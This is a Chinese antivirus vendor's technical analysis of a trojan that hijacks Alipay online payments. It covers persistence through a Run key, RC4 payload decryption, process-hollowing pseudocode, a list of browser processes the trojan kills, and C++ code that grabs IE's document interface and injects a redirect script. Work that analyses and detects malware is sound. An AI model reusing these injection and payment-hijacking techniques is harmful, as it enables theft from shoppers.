【文章摘要】网银猎手木马正悄然来袭,网购木马是一种劫持用户网上支付行为转而为攻击者购买虚拟物品的病毒,此类病毒能够给用户造成直接的经济损失,
百度国际化杀毒团队提醒您:使用百度杀毒国际版(http://antivirus.baidu.com)有效防御网购木马的入侵。
网银猎手木马技术分析报告
1.基本信息
病毒名称: Trojan-Banker.Win32.Alihr.a
病毒别名: N/A
病毒类型: 木马
样本长度: 3,361,280字节样本MD5:6D8F7C9E44F4D5E1EEEF5BBCBB797F44
样本SHA1:CB4CABF94601431363F7A14ABCFFA278A8B0E88E文件类型:DLL
壳信息: PEtite v1.4 *
原始文件名: N/A
首次出现时间:2013年4月感染范围:亚太地区
感染系统:Windows 2000 /XP及以上
2.样本概述
近日,百度国际杀毒团队反病毒监测网捕获了一个全新的AV终结者变种,该变种病毒捆绑多个木马并且利用干净程序来加载自身和网购木马模块。该木马除了在文件级别上绕过主流反病毒产品检测外,也通过白+黑方式绕过国内外常见主防防御产品,截至本文第一版发稿为止,国内外主流反病毒产品均无法全面检测该网银木马。
注:网购木马是一种劫持用户网上支付行为转而为攻击者购买虚拟物品的病毒,此类病毒能够给用户造成直接的经济损失,并且由于其本身不会对系统造成任何损害,因此难以检测和防御,危害极大,本文将带你一探究竟。
2.1 文件列表:
文件名.png (11.58 KiB) 被浏览 27 次
1样本文件关系图.png (103.44 KiB) 被浏览 27 次
图1:样本文件关系图
2.2详细分析
2.2.1启动和安装
病毒Loader(sqllite3.dll)运行之后,会把自身拷贝到如下目录:
C:\Program Files\ksupdate\360se.exe [此文件即为文件列表中的CalendarMain.exe]
C:\Program Files\ksupdate\sqlite3.dll
C:\Program Files\ksupdate\Resloader.dll
C:\Program Files\ksupdate\SkinBase.dll
并且添加如下注册表项使得自己可以开机自启动:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Run"="C:\\Program Files\\ksupdate\\360se.exe"
2.2.2 AV终结者的释放和运行
然后病毒Loader会释放出文件C:\Program Files\QQ.zzzz,启动一个新的进程services.exe,并将QQ.zzzz注入到其中执行,注入完成后,病毒Loader会删除掉刚才释放出来的文件。
QQ.zzzz这个模块被执行之后,会释放出病毒AV终结者,本文重点分析网购木马,因此不对此变种AV终结者进行详细描述。
2.2.3网购木马模块的解密和执行流程
释放完QQ.zzzz模块后,病毒Loader会读取qq.dat并解密出(所使用的算法是RC4,密钥为“1*98$***”)网购木马模块,并将其写入到文件C:\Program Files\qqwry.dsp。
2Loader正在初始化S数组.png (42.59 KiB) 被浏览 27 次
图2:Loader正在初始化S数组
3部分解密后的数据.png (35.84 KiB) 被浏览 27 次
图3:部分解密后的数据
解密之后,病毒Loader会释放出一个系统程序abc.exe (Microsoft Driver Verifier Manager)并将其作为傀儡进程启动,然后Loader会将刚才解密出来的网购木马模块qqwry.dsp注入到傀儡进程中执行,其注入方法如以下伪代码所示:
CreateProcess(...,"abc.exe",...,CREATE_SUSPEND,...);
GetThreadContext();
ZwUnmapViewOfSection(...);
VirtualAllocEx(...,ImageBase,SizeOfImage,...);
WriteProcessMemory(...,headers,...);
for (i=0; i < NumberOfSections; i++) {
WriteProcessMemory(...,section,...);
}
SetThreadContext();
ResumeThread();
同样,注入完成之后,病毒Loader会立即将文件C:\Program Files\qqwry.dsp删除掉。
2.2.4 网购木马工作流程
网购木马模块会运行之后,会查找以下流行浏览器的进程并将它们结束,以强迫用户使用IE浏览器。
sogouexplorer.exe
firefox.exe
twchrome.exe
chrome.exe
maxthon.exe
miser.exe
AliimSafe.exe
alisafe.exe
taobrowser.exe
360chrome.exe
QQBrowser.exe
TTraveler.exe
theworld.exe
liebao.exe
115br.exe
baidubrowser.exe
ruiying.exe
ETwoOne.exe
theWorld.exe
COrAl.exe
top.exe
为了监控和操作用户所浏览的网页,网购木马需要获得IHTMLDocument2接口指针,首先它会枚举系统中所有窗口和子窗口,查找一个类名为Internet Explorer_Server的子窗口,然后向这个窗口发送消息WM_HTML_GETOBJECT,下面是范例代码:
void GetDocInterface(HWND hwnd)
{
HINSTANCE hInstance = NULL;
CComPtr<IHTMLDocument2> spDoc = NULL;
LRESULT lRes;
UINT uMsg;
LPFNOBJECTFROMLRESULT pfnObjectFromLresult;
CoInitialize(NULL);
hInstance = LoadLibraryW(L"OLEACC.dll");
uMsg = RegisterWindowMessageW(L"WM_HTML_GETOBJECT");
SendMessageTimeout(hwnd,uMsg,0L,0L,SMTO_ABORTIFHUNG,1000,(DWORD*)&lRes);
pfnObjectFromLresult = (LPFNOBJECTFROMLRESULT)GetProcAddress(
hInstance,"ObjectFromLresult");
(*pfnObjectFromLresult)(lRes,IID_IHTMLDocument2,0,(void**)&spDoc);
FreeLibrary(hInstance);
CoUninitialize();
}
通过调用IHTMLDocunet2->get_URL方法,网购木马能够监控用户所浏览的网页,如果它发现用户正在浏览支付宝的快速支付页面,它会将页面重定向到标准支付页面。
IHTMLWindow2 *spWindow2 = NULL;
VARIANT varRet = {0};
BSTR myscript;
BSTR scripttype;
BSTR current_url;
char *urlbuffer;
spDoc->get_URL(¤t_url);
urlbuffer = _com_util::ConvertBSTRToString(current_url);
SysFreeString(current_url);
if (urlbuffer != NULL)
{
if (strstr(urlbuffer,"standard/fastpay/fastPayCashier.htm") != 0)
{
spDoc->get_parentWindow(&spWindow2);
if (spWindow2 != NULL)
{
//the order_ID is dynamically generated, a typical id is as follows
//0524741b62f306b421removed_deliberately
myscript = _com_util::ConvertStringToBSTR("document.write("<script>window.location.href=\"https://cashier.alipay.com/standard/fastpay/paymentSwitch.htm?orderId=DynamicllyGenerated&target=standardPayCashier\"")");
scripttype = _com_util::ConvertStringToBSTR("javascript");
VariantInit(&varRet);
spWindow2->execScript(myscript,scripttype,&varRet);
SysFreeString(myscript);
SysFreeString(scripttype);
VariantClear(&varRet);
spWindow2->Release();
}
}
}